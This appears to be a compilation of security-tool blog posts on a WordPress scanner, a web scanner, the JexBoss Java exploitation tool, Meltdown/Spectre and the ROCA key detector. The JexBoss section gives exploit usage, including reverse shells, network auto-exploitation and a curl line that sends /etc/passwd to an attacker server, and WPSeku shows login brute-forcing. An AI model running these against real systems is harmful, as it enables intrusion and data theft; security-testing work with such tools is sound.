WPSeku v0.4 - Wordpress Security Scanner

WPSeku is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues.

Installation

$ git clone https://github.com/m4ll0k/WPSeku.git wpseku
$ cd wpseku
$ pip3 install -r requirements.txt
$ python3 wpseku.py

Usage

Generic Scan

python3 wpseku.py --url https://www.xxxxxxx.com --verbose

• Output

----------------------------------------
 _ _ _ ___ ___ ___| |_ _ _ 
| | | | . |_ -| -_| '_| | |
|_____|  _|___|___|_,_|___|
      |_|             v0.4.0

WPSeku - Wordpress Security Scanner
by Momo Outaadi (m4ll0k)
----------------------------------------

[ + ] Target: https://www.xxxxxxx.com
[ + ] Starting: 02:38:51

[ + ] Server: Apache
[ + ] Uncommon header "X-Pingback" found, with contents: https://www.xxxxxxx.com/xmlrpc.php
[ i ] Checking Full Path Disclosure...
[ + ] Full Path Disclosure: /home/ehc/public_html/wp-includes/rss-functions.php
[ i ] Checking wp-config backup file...
[ + ] wp-config.php available at: https://www.xxxxxxx.com/wp-config.php
[ i ] Checking common files...
[ + ] robots.txt file was found at: https://www.xxxxxxx.com/robots.txt
[ + ] xmlrpc.php file was found at: https://www.xxxxxxx.com/xmlrpc.php
[ + ] readme.html file was found at: https://www.xxxxxxx.com/readme.html
[ i ] Checking directory listing...
[ + ] Dir "/wp-admin/css" listing enable at: https://www.xxxxxxx.com/wp-admin/css/
[ + ] Dir "/wp-admin/images" listing enable at: https://www.xxxxxxx.com/wp-admin/images/
[ + ] Dir "/wp-admin/includes" listing enable at: https://www.xxxxxxx.com/wp-admin/includes/
[ + ] Dir "/wp-admin/js" listing enable at: https://www.xxxxxxx.com/wp-admin/js/
......

Bruteforce Login

python3 wpseku.py --url https://www.xxxxxxx.com --brute --user test --wordlist wl.txt --verbose

• Output

----------------------------------------
 _ _ _ ___ ___ ___| |_ _ _ 
| | | | . |_ -| -_| '_| | |
|_____|  _|___|___|_,_|___|
      |_|             v0.4.0

WPSeku - Wordpress Security Scanner
by Momo Outaadi (m4ll0k)
----------------------------------------

[ + ] Target: https://www.xxxxxxx.com
[ + ] Starting: 02:46:32

[ + ] Bruteforcing Login via XML-RPC...
[ i ] Setting user: test
[ + ] Valid Credentials: 

-----------------------------
| Username | Passowrd       |
-----------------------------
| test     | kamperasqen13  |
-----------------------------

Scan plugin,theme and wordpress code

python3 wpseku.py --scan <dir/file> --verbose

Note: Testing Akismet Directory Plugin https://plugins.svn.wordpress.org/akismet

• Output

----------------------------------------
 _ _ _ ___ ___ ___| |_ _ _ 
| | | | . |_ -| -_| '_| | |
|_____|  _|___|___|_,_|___|
      |_|             v0.4.0

WPSeku - Wordpress Security Scanner
by Momo Outaadi (m4ll0k)
----------------------------------------

[ + ] Checking PHP code...
[ + ] Scanning directory...
[ i ] Scanning trunk/class.akismet.php file
----------------------------------------------------------------------------------------------------------
| Line | Possibile Vuln.      | String                                                                   |
----------------------------------------------------------------------------------------------------------
|  597 | Cross-Site Scripting | [b"$_GET['action']", b"$_GET['action']"]                                 |
|  601 | Cross-Site Scripting | [b"$_GET['for']", b"$_GET['for']"]                                       |
|  140 | Cross-Site Scripting | [b"$_POST['akismet_comment_nonce']", b"$_POST['akismet_comment_nonce']"] |
|  144 | Cross-Site Scripting | [b"$_POST['_ajax_nonce-replyto-comment']"]                               |
|  586 | Cross-Site Scripting | [b"$_POST['status']", b"$_POST['status']"]                               |
|  588 | Cross-Site Scripting | [b"$_POST['spam']", b"$_POST['spam']"]                                   |
|  590 | Cross-Site Scripting | [b"$_POST['unspam']", b"$_POST['unspam']"]                               |
|  592 | Cross-Site Scripting | [b"$_POST['comment_status']", b"$_POST['comment_status']"]               |
|  599 | Cross-Site Scripting | [b"$_POST['action']", b"$_POST['action']"]                               |
|  214 | Cross-Site Scripting | [b"$_SERVER['HTTP_REFERER']", b"$_SERVER['HTTP_REFERER']"]               |
|  403 | Cross-Site Scripting | [b"$_SERVER['REQUEST_TIME_FLOAT']", b"$_SERVER['REQUEST_TIME_FLOAT']"]   |
|  861 | Cross-Site Scripting | [b"$_SERVER['REMOTE_ADDR']", b"$_SERVER['REMOTE_ADDR']"]                 |
|  930 | Cross-Site Scripting | [b"$_SERVER['HTTP_USER_AGENT']", b"$_SERVER['HTTP_USER_AGENT']"]         |
|  934 | Cross-Site Scripting | [b"$_SERVER['HTTP_REFERER']", b"$_SERVER['HTTP_REFERER']"]               |
| 1349 | Cross-Site Scripting | [b"$_SERVER['REMOTE_ADDR']"]                                             |
----------------------------------------------------------------------------------------------------------
[ i ] Scanning trunk/wrapper.php file
[ + ] Not found vulnerabilities
[ i ] Scanning trunk/akismet.php file
-----------------------------------------------
| Line | Possibile Vuln.    | String          |
-----------------------------------------------
|   55 | Authorization Hole | [b'is_admin()'] |
-----------------------------------------------
[ i ] Scanning trunk/class.akismet-cli.php file
[ + ] Not found vulnerabilities
[ i ] Scanning trunk/class.akismet-widget.php file
[ + ] Not found vulnerabilities
[ i ] Scanning trunk/index.php file
[ + ] Not found vulnerabilities
[ i ] Scanning trunk/class.akismet-admin.php file
--------------------------------------------------------------------------------------------------------------------
| Line | Possibile Vuln.      | String                                                                             |
--------------------------------------------------------------------------------------------------------------------
|   39 | Cross-Site Scripting | [b"$_GET['page']", b"$_GET['page']"]                                               |
|  134 | Cross-Site Scripting | [b"$_GET['akismet_recheck']", b"$_GET['akismet_recheck']"]                         |
|  152 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"]                                               |
|  190 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"]                                               |
|  388 | Cross-Site Scripting | [b"$_GET['recheckqueue']"]                                                         |
|  841 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"]                                               |
|  843 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"]                                               |
|  850 | Cross-Site Scripting | [b"$_GET['action']"]                                                               |
|  851 | Cross-Site Scripting | [b"$_GET['action']"]                                                               |
|  852 | Cross-Site Scripting | [b"$_GET['_wpnonce']", b"$_GET['_wpnonce']"]                                       |
|  868 | Cross-Site Scripting | [b"$_GET['token']", b"$_GET['token']"]                                             |
|  869 | Cross-Site Scripting | [b"$_GET['token']"]                                                                |
|  873 | Cross-Site Scripting | [b"$_GET['action']"]                                                               |
|  874 | Cross-Site Scripting | [b"$_GET['action']"]                                                               |
| 1005 | Cross-Site Scripting | [b"$_GET['akismet_recheck_complete']"]                                             |
| 1006 | Cross-Site Scripting | [b"$_GET['recheck_count']"]                                                        |
| 1007 | Cross-Site Scripting | [b"$_GET['spam_count']"]                                                           |
|   31 | Cross-Site Scripting | [b"$_POST['action']", b"$_POST['action']"]                                         |
|  256 | Cross-Site Scripting | [b"$_POST['_wpnonce']"]                                                            |
|  260 | Cross-Site Scripting | [b'$_POST[$option]', b'$_POST[$option]']                                           |
|  267 | Cross-Site Scripting | [b"$_POST['key']"]                                                                 |
|  392 | Cross-Site Scripting | [b"$_POST['offset']", b"$_POST['offset']", b"$_POST['limit']", b"$_POST['limit']"] |
|  447 | Cross-Site Scripting | [b"$_POST['id']"]                                                                  |
|  448 | Cross-Site Scripting | [b"$_POST['id']"]                                                                  |
|  460 | Cross-Site Scripting | [b"$_POST['id']", b"$_POST['url']"]                                                |
|  461 | Cross-Site Scripting | [b"$_POST['id']"]                                                                  |
|  464 | Cross-Site Scripting | [b"$_POST['url']"]                                                                 |
|  388 | Cross-Site Scripting | [b"$_REQUEST['action']", b"$_REQUEST['action']"]                                   |
|  400 | Cross-Site Scripting | [b"$_SERVER['HTTP_REFERER']", b"$_SERVER['HTTP_REFERER']"]                         |
--------------------------------------------------------------------------------------------------------------------
[ i ] Scanning trunk/class.akismet-rest-api.php file
[ + ] Not found vulnerabilities

Credits and Contributors
Original idea and script from WPScan Team (https://wpscan.org/)
WPScan Vulnerability Database (https://wpvulndb.com/api)

Download WPSeku

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Taipan - Web Application Security Scanner

Taipan is a an automated web application scanner which allows to identify web vulnerabilities in an automatic fashion. This project is the core engine of a broader project which include other components, like a web dashboard where you can manage your scan or download a PDF report and a scanner agent to run on specific host. Below are some screenshots of the Taipan dashboard:

If you are interested in trying the full product, you can contact: aparata[AT]gmail.com
Download

• Source code
• Download binary

Using Taipan
Taipan can run on both Windows (natively) and Linux (with mono). To run it in Linux you have to install mono in version >= 4.8.0. You can track the implementation of the new features in the related Kanban board.

Scan Profile
Taipan allow to scan the given web site by specify different kind of profiles. Each profile enable or disable a specific scan feature, to show all the available profile just run Taipan with the --show-profiles option.

Scan/Stop/Pause a scan
During a scan you can interact with it by set the scan in Pause or Stop it if necessary. In order to do so you have to press:

• P: pause the scan
• S: stop the scan
• R: resume a paused scan

The state change is not immediate and you have to wait until all threads have reached the desider state.

Launch a scan
To launch a new scan you have to provide the url and the profile which must be used. It is not necessary to specify the full profile name, a prefix is enough. Below an example of execution:

Taipan Components
Taipan is composed of four main components:

• Web Application fingerprinter: it inspects the given application in order to identify if it is a COTS application. If so, it extracts the identified version.
• Hidden Resource Discovery: this component scans the application in order to identify resources that are not directly navigable or that shouldn't be accessed, like secret pages or test pages.
• Crawler: This component navigates the web site in order to provide to the other components a list of pages to analyze. It allows to mutate the request in order to find not so common pathes.
• Vulnerability Scanner: this component probes the web application and tries to identify possible vulnerabilities. It is composed of various AddOn in order to easily expand its Knowledge Base.

Download Taipan

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JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool - JexBoss

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

Requirements

• Python >= 2.7.x
• urllib3
• ipaddress

Installation on Linux\Mac
To install the latest version of JexBoss, please use the following commands:

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

OR:

Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

If you are using CentOS with Python 2.6, please install Python2.7. Installation example of the Python 2.7 on CentOS using Collections Software scl:

yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Installation on Windows
If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:

• Download and install Python
• Download and install Git for Windows
• After installing, run the Git for Windows and type the following commands:

    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Features
The tool and exploits were developed and tested for:

• JBoss Application Server versions: 3, 4, 5 and 6.
• Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

• /admin-console
  • tested and working in JBoss versions 5 and 6
• /jmx-console
  • tested and working in JBoss versions 4, 5 and 6
• /web-console/Invoker
  • tested and working in JBoss versions 4, 5 and 6
• /invoker/JMXInvokerServlet
  • tested and working in JBoss versions 4, 5 and 6
• Application Deserialization
  • tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
• Servlet Deserialization
  • tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
• Apache Struts2 CVE-2017-5638
  • tested in Apache Struts 2 applications
• Others

Videos

• Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss

• Exploiting JBoss Application Server with JexBoss

• Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

Screenshots

• Simple usage examples:

$ python jexboss.py

• Example of standalone mode against JBoss:

$ python jexboss.py -u http://192.168.0.26:8080

• Usage modes:

$ python jexboss.py -h

• Network scan mode:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

• Network scan with auto-exploit mode:

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

• Results and recommendations:

Reverse Shell (meterpreter integration)
After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444

• Example:

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl [email protected]/etc/passwd http://your_server'

• For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name

• For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

• For Apache Struts 2 (CVE-2017-5638)

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2

• For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

• Auto scan mode:

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log

• File scan mode:

$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log

• More Options:

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit
  --auto-exploit, -A    Send exploit code automatically (USE ONLY IF YOU HAVE
                        PERMISSION!!!)
  --disable-check-updates, -D
                        Disable two updates checks: 1) Check for updates
                        performed by the webshell in exploited server at
                        http://webshell.jexboss.net/jsp_version.txt and 2)
                        check for updates performed by the jexboss client at
                        http://joaomatosf.com/rnp/releases.txt
  -mode {standalone,auto-scan,file-scan}
                        Operation mode (DEFAULT: standalone)
  --app-unserialize, -j
                        Check for java unserialization vulnerabilities in HTTP
                        parameters (eg. javax.faces.ViewState, oldFormData,
                        etc)
  --servlet-unserialize, -l
                        Check for java unserialization vulnerabilities in
                        Servlets (like Invoker interfaces)
  --jboss               Check only for JBOSS vectors.
  --jenkins             Check only for Jenkins CLI vector.
  --jmxtomcat           Check JMX JmxRemoteLifecycleListener in Tomcat
                        (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be
                        checked by default.
  --proxy PROXY, -P PROXY
                        Use a http proxy to connect to the target URL (eg. -P
                        http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        Proxy authentication credentials (eg -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        JBoss login and password for exploit admin-console in
                        JBoss 5 and JBoss 6 (default: admin:admin)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 3)

Standalone mode:
  -host HOST, -u HOST   Host address to be checked (eg. -u
                        http://192.168.0.10:8080)

Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Remote host address and port for reverse shell when
                        exploiting Java Deserialization Vulnerabilities in
                        application layer (for now, working only against *nix
                        systems)(eg. 192.168.0.10:1331)
  --cmd CMD, -x CMD     Send specific command to run on target (eg. curl -d
                        @/etc/passwd http://your_server)
  --windows, -w         Specifies that the commands are for rWINDOWS System$
                        (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Specify the parameter to find and inject serialized
                        objects into it. (egs. -H javax.faces.ViewState or -H
                        oldFormData (<- Hi PayPal =X) or others) (DEFAULT:
                        javax.faces.ViewState)
  --show-payload, -t    Print the generated payload.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Specify the type of Gadget to generate the payload
                        automatically. (DEFAULT: commons-collections3.1 or
                        groovy1 for JenKins)
  --load-gadget FILENAME
                        Provide your own gadget from file (a java serialized
                        object in RAW mode)
  --force, -F           Force send java serialized gadgets to URL informed in
                        -u parameter. This will send the payload in multiple
                        formats (eg. RAW, GZIPED and BASE64) and with
                        different Content-Types.

Auto scan mode:
  -network NETWORK      Network to be checked in CIDR format (eg. 10.0.0.0/8)
  -ports PORTS          List of ports separated by commas to be checked for
                        each host (eg. 8080,8443,8888,80,443)
  -results FILENAME     File name to store the auto scan results

File scan mode:
  -file FILENAME_HOSTS  Filename with host list to be scanned (one host per
                        line)
  -out FILENAME_RESULTS
                        File name to store the file scan results

Download JexBoss

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Meltdown and Spectre CPU Flaws Affect Intel, ARM, AMD Processors

Unlike the initial reports suggested about Intel chips being vulnerable to some severe ‘memory leaking’ flaws, full technical details about the vulnerabilities have now been emerged, which revealed that almost every modern processor since 1995 is vulnerable to the issues.
Disclosed today by Google Project Zero, the vulnerabilities potentially impact all major CPUs, including those from AMD, ARM, and Intel—threatening almost all PCs, laptops, tablets, and smartphones, regardless of manufacturer or operating system.
These hardware vulnerabilities have been categorized into two attacks, named Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753 and CVE-2017-5715), which could allow attackers to steal sensitive data which is currently processed on the computer.

Both attacks take advantage of a feature in chips known as "speculative execution," a technique used by most modern CPUs to optimize performance.

"In order to improve performance, many CPUs may choose to speculatively execute instructions based on assumptions that are considered likely to be true. During speculative execution, the processor is verifying these assumptions; if they are valid, then the execution continues. If they are invalid, then the execution is unwound, and the correct execution path can be started based on the actual conditions," Project Zero says.

Therefore, it is possible for such speculative execution to have "side effects which are not restored when the CPU state is unwound and can lead to information disclosure," which can be accessed using side-channel attacks.

Meltdown Attack

 
The first issue, Meltdown (paper), allows attackers to read not only kernel memory but also the entire physical memory of the target machines, and therefore all secrets of other programs and the operating system.

“Meltdown is a related microarchitectural attack which exploits out-of-order execution in order to leak the target’s physical memory.”

Meltdown uses speculative execution to break the isolation between user applications and the operating system, allowing any application to access all system memory, including memory allocated for the kernel.

“Meltdown exploits a privilege escalation vulnerability specific to Intel processors, due to which speculatively executed instructions can bypass memory protection.”

Nearly all desktop, laptop, and cloud computers affected by Meltdown.

Spectre Attack

The second problem, Spectre (paper), is not easy to patch and will haunt people for quite some time since this issue requires changes to processor architecture in order to fully mitigate.
Spectre attack breaks the isolation between different applications, allowing the attacker-controlled program to trick error-free programs into leaking their secrets by forcing them into accessing arbitrary portions of its memory, which can then be read through a side channel.

Spectre attacks can be used to leak information from the kernel to user programs, as well as from virtualization hypervisors to guest systems.

“In addition to violating process isolation boundaries using native code, Spectre attacks can also be used to violate browser sandboxing, by mounting them via portable JavaScript code. We wrote a JavaScript program that successfully reads data from the address space of the browser process running it.” the paper explains.

“KAISER patch, which has been widely applied as a mitigation to the Meltdown attack, does not protect against Spectre.”

According to researchers, this vulnerability impacts almost every system, including desktops, laptops, cloud servers, as well as smartphones—powered by Intel, AMD, and ARM chips.

What You Should Do: Mitigations And Patches

Many vendors have security patches available for one or both of these attacks.

• Windows — Microsoft has issued an out-of-band patch update for Windows 10, while other versions of Windows will be patched on the traditional Patch Tuesday on January 9, 2018
• MacOS — Apple had already fixed most of these security holes in macOS High Sierra 10.13.2 last month, but MacOS 10.13.3 will enhance or complete these mitigations.
• Linux — Linux kernel developers have also released patches by implementing kernel page-table isolation (KPTI) to move the kernel into an entirely separate address space.
• Android — Google has released security patches for Pixel/Nexus users as part of the Android January security patch update.  Other users have to wait for their device manufacturers to release a compatible security update.

Mitigations for Chrome Users

Since this exploit can be executed through the website, Chrome users can turn on Site Isolation feature on their devices to mitigate these flaws.

Here's how to turn Site Isolation on Windows, Mac, Linux, Chrome OS or Android:

• Copy chrome://flags/#enable-site-per-process and paste it into the URL field at the top of your Chrome web browser, and then hit the Enter key.
• Look for Strict Site Isolation, then click the box labeled Enable.
• Once done, hit Relaunch Now to relaunch your Chrome browser.

There is no single fix for both the attacks since each requires protection independently. 

Source: The Hackers News

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Infineon RSA Vulnerability - ROC

This tool is related to ACM CCS 2017 conference paper #124 Return of the Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli.

It enables you to test public RSA keys for a presence of the described vulnerability.

Update: The paper of the attack is already online, ACM version.

Currently the tool supports the following key formats:

• X509 Certificate, DER encoded, one per file, *.der, *.crt
• X509 Certificate, PEM encoded, more per file, *.pem
• RSA PEM encoded private key, public key, more per file, *.pem (has to have correct header -----BEGIN RSA...)
• SSH public key, *.pub, starting with "ssh-rsa", one per line
• ASC encoded PGP key, *.pgp, *.asc. More per file, has to have correct header -----BEGIN PGP...
• APK android application, *.apk
• one modulus per line text file *.txt, modulus can be a) base64 encoded number, b) hex coded number, c) decimal coded number
• JSON file with moduli, one record per line, record with modulus has key "mod" (int, base64, hex, dec encoding supported) certificate(s) with key "cert" / array of certificates with key "certs" are supported, base64 encoded DER.
• LDIFF file - LDAP database dump. Any field ending with ";binary::" is attempted to decode as X509 certificate
• Java Key Store file (JKS). Tries empty password & some common, specify more with --jks-pass-file
• PKCS7 signature with user certificate

The detection tool is intentionally one-file implementation for easy integration / manipulation.

Pip install
Install with pip (installs all dependencies)

pip install roca-detect

Local install
Execute in the root folder of the package:

pip install --upgrade --find-links=. .

Dependencies
It may be required to install additional dependencies so pip can install e.g. cryptography package.
CentOS / RHEL:

sudo yum install python-devel python-pip gcc gcc-c++ make automake autoreconf libtool openssl-devel libffi-devel dialog

Ubuntu:

sudo apt-get install python-pip python-dev build-essential libssl-dev libffi-dev swig

Usage
To print the basic usage:

# If installed with pip / manually
roca-detect --help

# Without installation (can miss dependencies)
python roca/detect.py

The testing tool accepts multiple file names / directories as the input argument. It returns the report showing how many files has been fingerprinted (and which are those).
Example (no vulnerabilities found):
Running recursively on all my SSH keys and known_hosts:

$> roca-detect ~/.ssh
2017-10-16 13:39:21 [51272] INFO ### SUMMARY ####################
2017-10-16 13:39:21 [51272] INFO Records tested: 92
2017-10-16 13:39:21 [51272] INFO .. PEM certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. DER certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. RSA key files: . 16
2017-10-16 13:39:21 [51272] INFO .. PGP master keys: 0
2017-10-16 13:39:21 [51272] INFO .. PGP total keys:  0
2017-10-16 13:39:21 [51272] INFO .. SSH keys:  . . . 76
2017-10-16 13:39:21 [51272] INFO .. APK keys:  . . . 0
2017-10-16 13:39:21 [51272] INFO .. JSON keys: . . . 0
2017-10-16 13:39:21 [51272] INFO .. LDIFF certs: . . 0
2017-10-16 13:39:21 [51272] INFO .. JKS certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. PKCS7: . . . . . 0
2017-10-16 13:39:21 [51272] INFO No fingerprinted keys found (OK)
2017-10-16 13:39:21 [51272] INFO ################################

Example (vulnerabilities found):
Running recursively on all my SSH keys and known_hosts:

$> roca-detect ~/.ssh
2017-10-16 13:39:21 [51272] WARNING Fingerprint found in the Certificate
...
2017-10-16 13:39:21 [51272] INFO ### SUMMARY ####################
2017-10-16 13:39:21 [51272] INFO Records tested: 92
2017-10-16 13:39:21 [51272] INFO .. PEM certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. DER certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. RSA key files: . 16
2017-10-16 13:39:21 [51272] INFO .. PGP master keys: 0
2017-10-16 13:39:21 [51272] INFO .. PGP total keys:  0
2017-10-16 13:39:21 [51272] INFO .. SSH keys:  . . . 76
2017-10-16 13:39:21 [51272] INFO .. APK keys:  . . . 0
2017-10-16 13:39:21 [51272] INFO .. JSON keys: . . . 0
2017-10-16 13:39:21 [51272] INFO .. LDIFF certs: . . 0
2017-10-16 13:39:21 [51272] INFO .. JKS certs: . . . 0
2017-10-16 13:39:21 [51272] INFO .. PKCS7: . . . . . 0
2017-10-16 13:39:21 [51272] INFO Fingerprinted keys found: 1
2017-10-16 13:39:21 [51272] INFO WARNING: Potential vulnerability
2017-10-16 13:39:21 [51272] INFO ################################

PGP key
In order to test your PGP key you can export it from your email client or download it from the PGP key server such as https://pgp.mit.edu/
You can also use gpg command line utility to export your public key:

gpg --armor --export [email protected] > mykey.asc

Advanced use case
Detection tool extracts information about the key which can be displayed:

roca-detect.py --dump --flatten --indent  ~/.ssh/

Advanced installation methods

Virtual environment
It is usually recommended to create a new python virtual environment for the project:

virtualenv ~/pyenv
source ~/pyenv/bin/activate
pip install --upgrade pip
pip install --upgrade --find-links=. .

Separate Python 2.7.13
We tested tool with Python 2.7.13 and it works (see Travis for more info). We have reports saying lower versions (<=2.6) do not work properly so we highly recommend using up to date Python 2.7
Use pyenv to install a new Python version locally if you cannot / don't want to update system Python.
It internally downloads Python sources and installs it to ~/.pyenv.

git clone https://github.com/pyenv/pyenv.git ~/.pyenv
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
exec $SHELL
pyenv install 2.7.13
pyenv local 2.7.13

Python 3
Basic testing routine is quite simple and works with Py3 but the rest of the code that processes the different key formats and extracts the modulus for inspection is not yet fully py3 ready.
We are working on Py3 compatible version.

Docker container
Run via Docker container to avoid environment inconsistency. Dockerfile source can be audited at https://hub.docker.com/r/unnawut/roca-detect/.

docker run --rm -v /path/to/your/keys:/keys --network none unnawut/roca-detect

Make sure to use --rm and --network none flags to disable container's network connection and delete the container after running.

Download ROCA

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